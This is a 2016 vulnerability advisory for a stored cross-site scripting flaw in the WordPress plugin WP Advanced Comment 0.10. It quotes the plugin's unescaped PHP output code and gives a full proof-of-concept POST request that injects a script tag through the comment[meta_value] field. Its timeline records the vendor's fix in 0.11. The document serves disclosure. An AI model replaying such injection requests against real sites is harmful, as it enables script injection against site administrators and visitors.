WordPress Plugin WP Advanced Comment 0.10 – Persistent Cross-Site Scripting
1. Introduction # Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS # Date: Mar.09.2016 # Exploit Author: Mohammad Khaleghi # Contact: https://twitter.com/_blackmatrix # Vendor: Ravi Shakya # Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1 # Category: Webapps # Software Link: https://wordpress.org/support/plugin/wp-advance-comment 2. Description WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php <!-- Show Comments --> <?php if( $option[$id]['other']['comment_position'] == 1 ){ echo $this->show_like_dislike_button( $value['comment_ID'] , $option[$id]['other'] , 'top' ); echo '<p>'.$value['comment_content'].'</p>'; echo $this->show_like_dislike_button( $value['comment_ID'] , $option[$id]['other'] , 'bottom' ); }?> <!-- Get the comment meta --> <?php $data = get_option( 'wpad_comment_form' ); if( !empty( $data[$id] ) ): ?> <div class="wpad_comment_meta"> <ul> <?php foreach( $data[$id] as $key => $value1 ){ $show_admin = isset($value1['show_admin']) ? $value1['show_admin'] : 0; $privelage = $this->check_administrator( $show_admin ); if ( !empty( $value1['meta_key'] ) && is_numeric( $key ) && $value1['meta_key'] != 'user_name' && $value1 ['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image' && $value1['meta_key'] != 'wpad_comment' && $privelage == true ) { $meta_key = $value1['meta_key']; $label = $value1['label']; $meta_value = get_comment_meta( $value['comment_ID'] , $meta_key , true ); if( !empty( $meta_value ) ) { if( $value1['custom_field'] == 'radio' ) { $radio_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'radio' ); $this->display_comment_metas_frontend( $label , $radio_value ); } elseif ( $value1['custom_field'] == 'checkbox' ) { $check_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'checkbox'); $this->display_comment_metas_frontend( $label , $check_value ); } else { $this->display_comment_metas_frontend( $label , $meta_value ); } } } } ?> </ul> </div> <?php endif; ?> <!-- Show Comments --> 3. Proof of Concept Request : __________________________________________________________________________ Host=127.0.0.1:8080 User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept=*/* X-Requested-With=XMLHttpRequest Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/ Content-Length=1399 Content-Type=multipart/form-data; boundary=---------------------------23741051518289624461916684164 Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305 994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43 2ca5b3; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8 475032; wp-settings-time-1=1454782581; wp-settings-time-2=1454752438; wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499 1c180f; wordpress_test_cookie=WP+Cookie+check Connection=keep-alive Pragma=no-cache Cache-Control=no-cache POSTDATA =-----------------------------23741051518289624461916684164 Content-Disposition: form-data; name="action" wpad_save_comment ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="post_id" 1 ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="form_id" 417 ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="email_me_on_approve" undefined ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_value]" bourne ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_key]" user_name ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_value]" jason_bourne110@yahoo.com ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_key]" user_email ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_value]" Hack <script>alert("Hacked")</script> ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_key]" comment ----------------------------- 23741051518289624461916684164-- Response ______________________________________________________________________ Status=OK - 200 Date=Sat, 06 Feb 2016 18:18:43 GMT Server=Apache X-Frame-Options=SAMEORIGIN, SAMEORIGIN X-Powered-By=PHP/5.5.29 X-Robots-Tag=noindex x-content-type-options=nosniff Expires=Wed, 11 Jan 1984 05:00:00 GMT Cache-Control=no-cache, must-revalidate, max-age=0 Pragma=no-cache Content-Length=7 Keep-Alive=timeout=5, max=100 Connection=Keep-Alive Content-Type=text/html; charset=UTF-8 4. Report Timeline 09-03-2016 : Discovered 09-03-2016 : Vendor notified 09-03-2016 : Vendor Responded 09-03-2016 : Vendor fixed the problem 5. Solution Update to version 0.11 |